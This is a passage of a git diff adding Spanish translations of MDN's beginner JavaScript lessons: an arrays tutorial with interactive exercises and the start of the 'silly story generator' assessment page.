+      e.target.parentNode.style.opacity = '0.5';
+
+      createInput()
+    }
+
+    createInput();
+
+  &lt;/script&gt;
+&lt;/html&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Creando_una_matriz">Creando una matriz</h3>
+
+<p>Las matrices se construyen con corchetes, que contiene una lista de elementos separdos por comas.</p>
+
+<ol>
+ <li>Digamos que queríamos almacenar una lista de compras en una matriz — haríamos algo como lo siguiente. Ingresa las siguientes líneas en la consola:
+  <pre class="brush: js">let shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles'];
+shopping;</pre>
+ </li>
+ <li>En este caso, cada elemento de la matriz es una cadena, pero ten en cuenta que puedes almacenar cualquier elemento en una matriz — cadena, número, objeto, otra variable, incluso otra matriz. También puedes mezclar y combinar tipos de elementos — no todos tienen que ser números, cadenas, etc. Prueba estos:
+  <pre class="brush: js">let sequence = [1, 1, 2, 3, 5, 8, 13];
+let random = ['tree', 795, [0, 1, 2]];</pre>
+ </li>
+ <li>Intenta creando un par de matrices por tu cuenta, antes de continuar.</li>
+</ol>
+
+<h3 id="Accediendo_y_modificando_elementos_de_la_matriz">Accediendo y modificando elementos de la matriz</h3>
+
+<p>Puedes entonces acceder a elementos individuales en la matriz mediante la notación de corchetes, del mismo modo que <a href="/en-US/Learn/JavaScript/First_steps/Useful_string_methods#Retrieving_a_specific_string_character">accediste a las letras de una cadena</a>.</p>
+
+<ol>
+ <li>Ingresa lo siguiente en tu consola:
+  <pre class="brush: js">shopping[0];
+// returns "bread"</pre>
+ </li>
+ <li>también puedes modificar un elemento en una matriz simplemente dando a un item de la matriz un nuevo valor. Prueba esto:
+  <pre class="brush: js">shopping[0] = 'tahini';
+shopping;
+// shopping will now return [ "tahini", "milk", "cheese", "hummus", "noodles" ]</pre>
+
+  <div class="note"><strong>Nota</strong>: Lo dijimos antes, pero solo como recordatorio — ¡ las computadoras comienzan a contar desde 0!</div>
+ </li>
+ <li>Ten en cuenta que una matriz dentro de otra matriz se llama matriz multidimensional. Puedes acceder a los elementos de una matriz que estén dentro de otra, encadenando dos pares de corchetes. Por ejemplo, para acceder a uno de los elementos dentro de la matriz, que a su vez, es el tercer elemento dentro de la matriz <code>random</code> (ver sección anterior), podríamos hacer algo como esto:
+  <pre class="brush: js">random[2][2];</pre>
+ </li>
+ <li>Intenta seguir jugando y haciendo algunas modificaciones más a tus ejemplos de matriz antes de continuar.</li>
+</ol>
+
+<h3 id="Encontrar_la_longitud_de_una_matriz">Encontrar la longitud de una matriz</h3>
+
+<p>Puedes averiguar la longitud de una matriz (cuántos elementos contiene) exactamente de la misma manera que determinas la longitud (en caracteres) de una cadena— utilizando la propiedad {{jsxref("Array.prototype.length","length")}}. Prueba lo siguiente:</p>
+
+<pre class="brush: js">sequence.length;
+// should return 7</pre>
+
+<p>Esto tiene otros usos, pero se usa más comunmente para indicarle a un ciclo que continúe hasta que haya recorrido todos los elementos de la matriz. Así por ejemplo:</p>
+
+<pre class="brush: js">let sequence = [1, 1, 2, 3, 5, 8, 13];
+for (var i = 0; i &lt; sequence.length; i++) {
+  console.log(sequence[i]);
+}</pre>
+
+<p>Aprenderás acerca de bucles correctamente en un artículo futuro, pero brevemente, éste código dice:</p>
+
+<ol>
+ <li>Comienza el bucle en el elemento de la posición 0 en la matriz.</li>
+ <li>Detén el bucle en el número de item igual a la longitud de la matriz. Esto funcionará para una matriz de cualquier longitid, pero en este caso el ciclo se detendrá en el elemento número 7 (esto es bueno, ya que el último elemento — que queremos que recorra el bucle — es 6.</li>
+ <li>Para cada elemento, imprime en la consola del navegador con <code><a href="/en-US/docs/Web/API/Console/log">console.log()</a></code>.</li>
+</ol>
+
+<h2 id="Alguno_métodos_de_matriz_útiles">Alguno métodos de matriz útiles</h2>
+
+<p>En esta sección veremos algunos métodos bastante útiles relacionados con matrices que nos permiten dividir cadenas en elementos de matriz y viceversa, y agregar nuevos elementos en matrices.</p>
+
+<h3 id="Conversión_entre_matrices_y_cadenas">Conversión entre matrices y cadenas</h3>
+
+<p>A menudo se te presentarán algunos datos brutos contenidos en una cadena larga y grande, y es posible que desees separar los elementos útiles de una forma más conveniente y luego hacerle cosas, como mostrarlos en una tabla de datos. Para hacer esto, podemos usar el método {{jsxref("String.prototype.split()","split()")}}. En su forma más simple, esto toma un único parámetro, el caracter que quieres separar de la cadena, y devuelve las subcadenas entre el separador como elementos en una matriz.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Bien, esto es técnicamente un método de cadena, no un método de matriz, pero lo hemos incluido con las matrices, ya que va bien aquí.</p>
+</div>
+
+<ol>
+ <li>Vamos a jugar con esto, para ver como funciona. Primero, crea una cadena en tu consola:
+  <pre class="brush: js">let myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle';</pre>
+ </li>
+ <li>Ahora dividámoslo en cada coma:
+  <pre class="brush: js">let myArray = myData.split(',');
+myArray;</pre>
+ </li>
+ <li>Finalmente, intenta encontrar la longitud de tu nueva matriz y recuperar algunos elementos de ella:
+  <pre class="brush: js">myArray.length;
+myArray[0]; // the first item in the array
+myArray[1]; // the second item in the array
+myArray[myArray.length-1]; // the last item in the array</pre>
+ </li>
+ <li>También puedes ir en la dirección opuesta usando el método {{jsxref("Array.prototype.join()","join()")}}. Prueba lo siguiente:
+  <pre class="brush: js">let myNewString = myArray.join(',');
+myNewString;</pre>
+ </li>
+ <li>Otra forma de convertir una matriz en cadena es usar el método {{jsxref("Array.prototype.toString()","toString()")}}. <code>toString()</code> es posiblemente  más simple que <code>join()</code> ya que no toma un parámetro, pero es más limitado. Con <code>join()</code> puedes especificar diferentes separadores (intenta ejecutar el Paso 4 con un caracter diferente a la coma).
+  <pre class="brush: js">let dogNames = ['Rocket','Flash','Bella','Slugger'];
+dogNames.toString(); //Rocket,Flash,Bella,Slugger</pre>
+ </li>
+</ol>
+
+<h3 id="Agregar_y_eliminar_elementos_de_la_matriz">Agregar y eliminar elementos de la matriz</h3>
+
+<p>Todavia no hemos cubierto la posibilidad de agregar y eliminar elementos de la matriz — echemos un vistazo a esto ahora. Usaremos la matriz <code>myArray</code> con la que terminamos en la última sección. Si todavía no has seguido esa sección, primero crea la matriz en tu consola:</p>
+
+<pre class="brush: js">let myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle'];</pre>
+
+<p>Antes que nada, para añdir o eliminar un elemento al final de una matriz podemos usar {{jsxref("Array.prototype.push()","push()")}} y {{jsxref("Array.prototype.pop()","pop()")}} respectivamente.</p>
+
+<ol>
+ <li>primero usemos <code>push()</code> — nota que necesitas incluir uno o más elementos que desees agregas al final de tu matriz. Prueba esto:
+
+  <pre class="brush: js">myArray.push('Cardiff');
+myArray;
+myArray.push('Bradford', 'Brighton');
+myArray;
+</pre>
+ </li>
+ <li>La nueva longitud de la matriz se devuelve cuando finaliza la llamada al método. Si quisieras almacenar la nueva longitud de matriz en una variable, podrías hacer algo como esto:
+  <pre class="brush: js">let newLength = myArray.push('Bristol');
+myArray;
+newLength;</pre>
+ </li>
+ <li>Eliminar el último elemento de una matriz es tan simple como ejecutar <code>pop()</code> en ella. Prueba esto:
+  <pre class="brush: js">myArray.pop();</pre>
+ </li>
+ <li>El elemento que sé eliminó se devuelve cuando se completa la llamada al método. Para guardar este elemento en una variable, puedes hacer lo siguiente:
+  <pre class="brush: js">let removedItem = myArray.pop();
+myArray;
+removedItem;</pre>
+ </li>
+</ol>
+
+<p>{{jsxref("Array.prototype.unshift()","unshift()")}} y {{jsxref("Array.prototype.shift()","shift()")}} funcionan exactamente igual de <code>push()</code> y <code>pop()</code>, respectivamente, excepto que funcionan al principio de la matriz, no al final.</p>
+
+<ol>
+ <li>Primero <code>unshift()</code> — prueba el siguiente comando:
+
+  <pre class="brush: js">myArray.unshift('Edinburgh');
+myArray;</pre>
+ </li>
+ <li>Ahora <code>shift()</code>; prueba estos!
+  <pre class="brush: js">let removedItem = myArray.shift();
+myArray;
+removedItem;</pre>
+ </li>
+</ol>
+
+<h2 id="Aprendizaje_activo_¡Imprimiendo_esos_productos!">Aprendizaje activo: ¡Imprimiendo esos productos!</h2>
+
+<p>Volvamos al ejemplo que describimos anteriormente — imprima los nombres de los productos y los precios en una factura, luego, sume los precios e imprímelos en la parte inferior. En el ejemplo editable a continuación, hay comentarios que contienen números — cada uno de estos marca un lugar donde debe agregar algo al código. Ellos son los siguientes:</p>
+
+<ol>
+ <li>Debajo de <code>// number 1</code> hay un número de cadena, cada una de las cuales contiene un nombre de producto y un precio separados por dos puntos. Nos gustaría que conviertas esto en una matriz y lo almacenamos en una matriz llamda <code>products</code>.</li>
+ <li>En la misma línea que el comentario <code>// number 2</code> es el comienzo de un ciclo for. En esta línea, actualmente tenemos <code>i &lt;= 0</code>, que es una prueba condicional que hace que el bucle que el <a href="/en-US/Learn/JavaScript/First_steps/A_first_splash#Loops">bucle for</a> se detenga inmediatamente, porque dice "detener cuando <code>i</code> es menor o igual 0", y  <code>i</code> comienza en 0. Nos gustaría que reemplazaras esto con una prueba condicional que detenga el ciclo cuando <code>i</code> no sea inferior a la longitud la matriz <code>products</code> .</li>
+ <li>justo debajo del comentario <code>// number 3</code> queremos que escriba una línea de código que divide el elemento actual de la matriz (<code>nombre:precio</code>) en dos elementos separados, uno que contiene solo el nombre y otros que contienen solo el precio. Si no está seguro de cómo hacerlo, consulte el artículo <a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">Métodos de cadenas útiles</a> para obtener ayuda o, mejor aún, consulte la sección {{anch("Converting between strings and arrays")}} de este artículo.</li>
+ <li>Como parte de la línea de código anterior, también querras convertir el precio de una cadena a un número. Si no pudes recordar como hacerlo, consulta el <a href="/en-US/Learn/JavaScript/First_steps/Strings#Numbers_versus_strings">primer artículo de cadenas</a>.</li>
+ <li>Hay una variable llamada <code>total</code> que se crea y se le da un valor de 0 en la parte superior del código. Dentro del ciclo (debajo de <code>// number 4</code>) queremos que agregues una línea que añade el precio actual del artículo a ese total en cada iteración del ciclo, de modo que al final del código el total correcto se imprima en la factura. Es posible que necesites un <a href="/en-US/Learn/JavaScript/First_steps/Math#Assignment_operators">operador de asignación</a> para hacer esto.</li>
+ <li>Queremos que cambies la línea justo de bajo <code>// number 5</code> para que la variable <code>itemText</code> se iguale a "nombre de elemnto actual — $precio de elemento actual", por ejemplo "Zapatos — $23.99" en cada caso, por lo que la ionformación correcta artículo está impreso en la factura. Esto es simplemente una concatenación de cadenas, lo que debería ser familiar para ti.</li>
+</ol>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 150px;"&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;p&gt;&lt;/p&gt;
+
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="playable-code" style="height: 410px;width: 95%"&gt;
+var list = document.querySelector('.output ul');
+var totalBox = document.querySelector('.output p');
+var total = 0;
+list.innerHTML = '';
+totalBox.textContent = '';
+// number 1
+                'Underpants:6.99'
+                'Socks:5.99'
+                'T-shirt:14.99'
+                'Trousers:31.99'
+                'Shoes:23.99';
+
+for (var i = 0; i &lt;= 0; i++) { // number 2
+  // number 3
+
+  // number 4
+
+  // number 5
+  itemText = 0;
+
+  var listItem = document.createElement('li');
+  listItem.textContent = itemText;
+  list.appendChild(listItem);
+}
+
+totalBox.textContent = 'Total: $' + total.toFixed(2);
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar totalBox = document.querySelector(\'.output p\');\nvar total = 0;\nlist.innerHTML = \'\';\ntotalBox.textContent = \'\';\n\nvar products = [\'Underpants:6.99\',\n \'Socks:5.99\',\n \'T-shirt:14.99\',\n \'Trousers:31.99\',\n \'Shoes:23.99\'];\n\nfor(var i = 0; i &lt; products.length; i++) {\n var subArray = products[i].split(\':\');\n var name = subArray[0];\n var price = Number(subArray[1]);\n total += price;\n itemText = name + \' — $\' + price;\n\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n}\n\ntotalBox.textContent = \'Total: $\' + total.toFixed(2);';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background-color: #f5f9fa;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', '100%', 730, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Aprendizaje_Activo_Top_5_búsquedas">Aprendizaje Activo: Top 5 búsquedas</h2>
+
+<p>Un buen uso para los métodos de matriz como {{jsxref("Array.prototype.push()","push()")}} y {{jsxref("Array.prototype.pop()","pop()")}} es cuando estás manteniendo un registro de elementos actualmente activos en una aplicación web. En una escena animada por ejemplo, es posible que tengas una matriz de objetos que representan los gráficos de fondo que se muestran actualmente, y es posible que sólo desees que se muestren 50 a la vez, por razones de rendimiento o desorden. A medida que se crean y agregan nuevos objetos a la matriz, se puede eliminar los más antiguos de la matriz para mantener el número deseado.</p>
+
+<p>En este ejemplo vamos a mostrar un uso mucho más simple — aquí te daremos un sitio de búsqueda falso, con un cuadro de búsqueda. La idea es que cuando los términos se ingresan en un cuadro de búsqueda, se muetren el top 5 de términos de búsqueda previos en la lista. Cuando el número de términos supera el 5, el último término comienza a borrarse cada vez que agregas un nuevo término a la parte superior, por lo que siempre se muestran los 5 términos anteriores.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: En una aplicación de búsqueda real, probablemente puedas hacer clic en los términos de búsqueda anteriores para volver a los términos de búsqueda anteriores y ¡se motrarán los resultados de búsqueda reales! Solamente lo mantendremos simple por ahora.</p>
+</div>
+
+<p>Para completar la aplicación necesitamos:</p>
+
+<ol>
+ <li>Agregar una línea debajo del comentario <code>// number 1</code> que agrega el valor actual ingresado en la entrada de la búsqueda al inicio de la matriz. Esto se puede recuperar usando <code>searchInput.value</code>.</li>
+ <li>Agrega una línea debajo del comentario <code>// number 2</code> que elimina el valor actualmente al final de la matriz.</li>
+</ol>
+
+<div class="hidden">
+<h6 id="Playable_code_2">Playable code 2</h6>
+
+<pre class="brush: html">&lt;h2&gt;Live output&lt;/h2&gt;
+&lt;div class="output" style="min-height: 150px;"&gt;
+
+&lt;input type="text"&gt;&lt;button&gt;Search&lt;/button&gt;
+
+&lt;ul&gt;
+
+&lt;/ul&gt;
+
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+
+&lt;textarea id="code" class="playable-code" style="height: 370px; width: 95%"&gt;
+var list = document.querySelector('.output ul');
+var searchInput = document.querySelector('.output input');
+var searchBtn = document.querySelector('.output button');
+
+list.innerHTML = '';
+
+var myHistory = [];
+
+searchBtn.onclick = function() {
+  // we will only allow a term to be entered if the search input isn't empty
+  if (searchInput.value !== '') {
+    // number 1
+
+    // empty the list so that we don't display duplicate entries
+    // the display is regenerated every time a search term is entered.
+    list.innerHTML = '';
+
+    // loop through the array, and display all the search terms in the list
+    for (var i = 0; i &lt; myHistory.length; i++) {
+      itemText = myHistory[i];
+      var listItem = document.createElement('li');
+      listItem.textContent = itemText;
+      list.appendChild(listItem);
+    }
+
+    // If the array length is 5 or more, remove the oldest search term
+    if (myHistory.length &gt;= 5) {
+      // number 2
+
+    }
+
+    // empty the search input and focus it, ready for the next term to be entered
+    searchInput.value = '';
+    searchInput.focus();
+  }
+}
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="reset" type="button" value="Reset"&gt;
+  &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html {
+  font-family: sans-serif;
+}
+
+h2 {
+  font-size: 16px;
+}
+
+.a11y-label {
+  margin: 0;
+  text-align: right;
+  font-size: 0.7rem;
+  width: 98%;
+}
+
+body {
+  margin: 10px;
+  background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  userEntry = textarea.value;
+  solutionEntry = jsSolution;
+  solution.value = 'Show solution';
+  updateCode();
+});
+
+solution.addEventListener('click', function() {
+  if(solution.value === 'Show solution') {
+    textarea.value = solutionEntry;
+    solution.value = 'Hide solution';
+  } else {
+    textarea.value = userEntry;
+    solution.value = 'Show solution';
+  }
+  updateCode();
+});
+
+var jsSolution = 'var list = document.querySelector(\'.output ul\');\nvar searchInput = document.querySelector(\'.output input\');\nvar searchBtn = document.querySelector(\'.output button\');\n\nlist.innerHTML = \'\';\n\nvar myHistory= [];\n\nsearchBtn.onclick = function() {\n if(searchInput.value !== \'\') {\n myHistory.unshift(searchInput.value);\n\n list.innerHTML = \'\';\n\n for(var i = 0; i &lt; myHistory.length; i++) {\n itemText = myHistory[i];\n var listItem = document.createElement(\'li\');\n listItem.textContent = itemText;\n list.appendChild(listItem);\n }\n\n if(myHistory.length &gt;= 5) {\n myHistory.pop();\n }\n\n searchInput.value = \'\';\n searchInput.focus();\n }\n}';
+var solutionEntry = jsSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+  if (e.keyCode === 9) {
+    e.preventDefault();
+    insertAtCaret('\t');
+  }
+
+  if (e.keyCode === 27) {
+    textarea.blur();
+  }
+};
+
+function insertAtCaret(text) {
+  var scrollPos = textarea.scrollTop;
+  var caretPos = textarea.selectionStart;
+
+  var front = (textarea.value).substring(0, caretPos);
+  var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+  textarea.value = front + text + back;
+  caretPos = caretPos + text.length;
+  textarea.selectionStart = caretPos;
+  textarea.selectionEnd = caretPos;
+  textarea.focus();
+  textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+  // We only want to save the state when the user code is being shown,
+  // not the solution, so that solution is not saved over the user code
+  if(solution.value === 'Show solution') {
+    userEntry = textarea.value;
+  } else {
+    solutionEntry = textarea.value;
+  }
+
+  updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code_2', '100%', 700, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Conclusión">Conclusión</h2>
+
+<p>Después de leer este artículo, estamos seguros de que estaras de acuerdo en que las matrices parecen bastante útiles; las verás aparecer en todas partes en JavaScript, a menudo en asociación con bucles para hacer una misma cosa con cada elemento de la matriz. Te enseñaremos todos los aspectos básicos útiles que hay que conocer sobre los bucles en el siguiente módulo, pero por ahora debes darte un aplauso y tomarte un merecido descanso; ¡has trabajado en todos los artículos de este módulo!</p>
+
+<p>Lo único que queda por hacer es trabajar a través de la evaluación de este módulo, que te pondrá a prueba tu comprensión de los de los artículos anteriores.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections">Indexed collections</a> — an advanced level guide to arrays and their cousins, typed arrays.</li>
+ <li>{{jsxref("Array")}} — the <code>Array</code> object reference page — for a detailed reference guide to the features discussed in this page, and many more.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Qu%C3%A9_es_JavaScript">¿Qué es JavaScript?</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/A_first_splash">Un primer acercamiento a JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/What_went_wrong">¿Qué salió mal? Troubleshooting JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Variables">Guardando la información que necesitas— Variables</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Matem%C3%A1ticas">Matemáticas básicas en JavaScript — números y operadores</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Strings">Manejo de texto — cadenas en JavaScript</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Useful_string_methods">Métodos útiles para el manejo de cadenas</a></li>
+ <li><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/First_steps/Arrays">Arreglos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Silly_story_generator" rel="nofollow">Evaluaciones: Generador de historias absurdas</a></li>
+</ul>
diff --git a/files/es/learn/javascript/first_steps/generador_de_historias_absurdas/index.html b/files/es/learn/javascript/first_steps/generador_de_historias_absurdas/index.html
new file mode 100644
index 0000000000..58bb8e688a
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/generador_de_historias_absurdas/index.html
@@ -0,0 +1,147 @@
+---
+title: Generador de historias absurdas
+slug: Learn/JavaScript/First_steps/Generador_de_historias_absurdas
+tags:
+  - Arreglos
+  - Cadenas
+  - JavaScript
+  - Numeros
+  - Principiante
+translation_of: Learn/JavaScript/First_steps/Silly_story_generator
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div>
+
+<p class="summary"></p>
+
+<p class="summary">En esta evaluación, deberás tomar parte del conocimiento que has aprendido en los artículos de este módulo y aplicarlo a la creación de una aplicación divertida que genere historias aleatorias. ¡Que te diviertas!</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Antes de intentar esta evaluación, deberías haber revisado todos los artículos de este módulo.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Probar la comprensión de los fundamentos de JavaScript, como variables, números, operadores, cadenas y matrices</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_partida">Punto de partida</h2>
+
+<p>Para iniciar esta evaluación, debe:</p>
+
+<ul>
+ <li>Vaya y <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/index.html">tome el archivo HTML</a> para el ejemplo y guarde una copia local de este como <code>index.html</code> en un directorio nuevo en algún lugar de su computadora. Esto también tiene el CSS para estilizar el ejemplo que contiene.</li>
+ <li>Vaya a la <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt">página que contiene el texto sin procesar</a> y manténgalo abierto en una pestaña separada del navegador en algún lugar. Lo necesitarás más tarde.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Alternativamente, puede usar un sitio como <a class="external external-icon" href="http://jsbin.com/">JSBin</a> o <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> para hacer su evaluación. Puede pegar el HTML, CSS y JavaScript en uno de estos editores en línea. Si el editor en línea que está utilizando no tiene un panel de JavaScript separado, no dude en colocarlo en línea en un elemento <code>&lt;script&gt;</code> dentro de la página HTML.</p>
+</div>
+
+<h2 id="Resumen_del_proyecto">Resumen del proyecto</h2>
+
+<p>Se le han proporcionado algunos HTML / CSS en bruto y algunas cadenas de texto y funciones de JavaScript; necesita escribir el JavaScript necesario para convertir esto en un programa de trabajo, que hace lo siguiente:</p>
+
+<ul>
+ <li>Genera una historia tonta cuando se presiona el botón "Generar historia aleatoria".</li>
+ <li>Reemplaza el nombre predeterminado "Bob" en la historia con un nombre personalizado, solo si se ingresa un nombre personalizado en el campo de texto "Ingresar nombre personalizado" antes de presionar el botón Generar.</li>
+ <li>Convierte las cantidades y unidades de peso y temperatura predeterminadas de los EE. UU. En la historia en equivalentes del Reino Unido del botón de opción del Reino Unido, antes de presionar el botón de generar.</li>
+ <li>Generará otra historia tonta al azar si presionas el botón otra vez (y otra vez ...)</li>
+</ul>
+
+<p>La siguiente captura de pantalla muestra un ejemplo de lo que debería producir el programa terminado:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16178/Screen_Shot_2018-09-19_at_10.01.38_AM.png" style="border-style: solid; border-width: 1px; display: block; height: 404px; margin: 0px auto; width: 500px;"></p>
+
+<p>Para darle más idea, eche un vistazo al ejemplo final (¡no mire el código fuente!)</p>
+
+<h2 id="Etapas_para_completar">Etapas para completar</h2>
+
+<p>En las siguientes secciones se describe lo que hay que hacer.</p>
+
+<p>Configuración básica:</p>
+
+<ol>
+ <li>Crear un nuevo archivo llamado <code>main.js</code>, en el mismo directorio que tu archivo <code>index.html</code>.</li>
+ <li>Aplicar el archivo JavaScript externo a tu HTML insertando un elemento {{htmlelement("script")}} en tu HTML haciendo referencia a <code>main.js</code>. Póngalo justo antes de la etiquette de cierra <code>&lt;/body&gt;</code>.</li>
+</ol>
+
+<p>Variables y funciones iniciales:</p>
+
+<ol>
+ <li>en el archivo de texto sin procesar, copia todo el código bajo el encabezado "1. COMPLETE VARIABLE AND FUNCTION DEFINITIONS" y pégalo en la parte superior del archivo main.js. Esto te dará tres variables que almacenan las referencias al campo de texto "Enter custom name" (<code>customName</code>), el botón "Generate random story" (<code>randomize</code>), y el elemento {{htmlelement("p")}} al fondo del cuerpo HTML en el que la historia será copiada en (<code>story</code>), respectivamente. Además, obtendrás una funcion llamada <code>randomValueFromArray()</code> que toma un array, y devuelve uno de los items guardados dentro del array al azar.</li>
+ <li>Ahora observa la segunda sección del archivo de texto sin procesar — "2. RAW TEXT STRINGS". Esta contiene cadenas de texto que actuarán como entrada en nuestro programa. Nos gustaría que mantengas estas variables internas dentro del archivo <code>main.js</code>:
+  <ol>
+   <li>Almacena la primera, la más larga, cadena de texto dentro de una variable llamada <code>storyText</code>.</li>
+   <li>Almacena el primer conjunto de tres cadenas dentro de un array llamado <code>insertX</code>.</li>
+   <li>Almacena el segundo conjunto de tres cadenas dentro de un array llamado <code>insertY</code>.</li>
+   <li>Almacena el tercer conjunto de tres cadenas dentro de un array llamado <code>insertZ</code>.</li>
+  </ol>
+ </li>
+</ol>
+
+<p>Colocar el controlador de evento y la función incompleta:</p>
+
+<ol>
+ <li>Ahora regresa al archivo de texto sin procesar.</li>
+ <li>Copia el código encontrado bajo el encabezado "3. EVENT LISTENER AND PARTIAL FUNCTION DEFINITION" y pégalo al fondo de tu archivo <code>main.js</code> . Esto:
+  <ul>
+   <li>Añade un detector de eventos a la variable <code>randomize</code>, de manera que cuando al botón que esta representa se le haya dado un click, la función <code>result()</code> funcione.</li>
+   <li>Añade una definición de la función parcialmente completada <code>result()</code> a tu código. Por el resto de la evaluación, deberás llenar en líneas dentro de esta función para completarla y hacer que trabaje adecuadamente.</li>
+  </ul>
+ </li>
+</ol>
+
+<p>Completando la función <code>result()</code>:</p>
+
+<ol>
+ <li>Crear una nueva variable llamada <code>newStory</code>, y establezca su valor igual a <code>storyText</code>. Esto es necesario para que podamos crear una nueva historia aleatoria cada vez que se presiona el botón y se ejecuta la función. Si hiciéramos cambios directamente en <code>storyText</code>, solo podríamos generar una nueva historia una vez.</li>
